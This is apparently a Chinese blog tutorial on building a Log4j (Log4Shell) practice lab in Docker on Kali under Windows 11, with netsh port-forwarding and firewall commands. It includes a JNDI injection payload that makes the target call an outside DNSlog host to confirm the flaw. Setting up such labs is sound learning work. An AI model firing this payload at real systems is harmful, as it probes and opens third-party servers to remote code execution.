上篇文章我们已经成功在win11上安装了kali和docker,接下来我们来使用docker搭建一个log4j的靶场
1.拉取镜像 docker pull vulfocus/log4j2-rce-2021-12-09
2.下载好了以后看看镜像
启动镜像前先说一下,因为我们是win11上安装的kali,本机IP是192.168.11.85
然后这个机器又分出一个内网,网口是172.24.128.1,这个kali的IP是172.24.142.243
3.启动容器,设置端口转发
docker run -d -p <kali的IP>:xxxx:xxx 镜像名
这样执行后我们就可以在本机访问这个靶场了
但是现在这个靶场只能你自己访问,如果你想让你的同事和你一起玩这个靶场,那么继续往下看吧
4.设置一个端口转发规则,让访问192.168.11.85:8080的流量能够访问到172.24.142.243的38080端口,打开powershell以管理员身份运行
netsh interface portproxy add v4tov4 listenaddress=192.168.11.85 listenport=8080 connectaddress=172.24.142.243 connectport=38080
PS:netsh interface portproxy show all 这个命令可以查看当前所有的流量转发规则
5.设置防火墙规则,让局域网访问192.168.11.85:8080的流量能够过来
netsh advfirewall firewall add rule name="Allow_8080" dir=in action=allow protocol=TCP localport=8080
PS:如果你需要清理这个防火墙规则,请使用下面这个命令netsh advfirewall firewall delete rule name="规则名称" dir=in action=allow protocol=TCP localport=8080
6.现在开始复现log4j漏洞
先去dnslog平台生成一个地址
然后我们来构造payload,如果payload生效这个地方就会有解析记录,就证明存在log4j漏洞
${jndi:ldap://h0ijxl.dnslog.cn/exp}
我们将这个payload进行url编码(请原谅我是个菜鸡我也不知道为啥要编码,但是直接使用不生效,别人使用url编码后攻击成功了)
回车后,我们去看dns解析记录
证明payload生效了
7.后续,在挖洞过程中,我们怎么知道这个地方存在漏洞呢
8.靶场搭建完后,我们要取消防火墙规则,
netsh advfirewall firewall delete rule name="Allow_8080" dir=in action=allow protocol=TCP localport=8080
关闭端口转发
netsh interface portproxy delete v4tov4 listenaddress=192.168.11.85 listenport=8080
关闭容器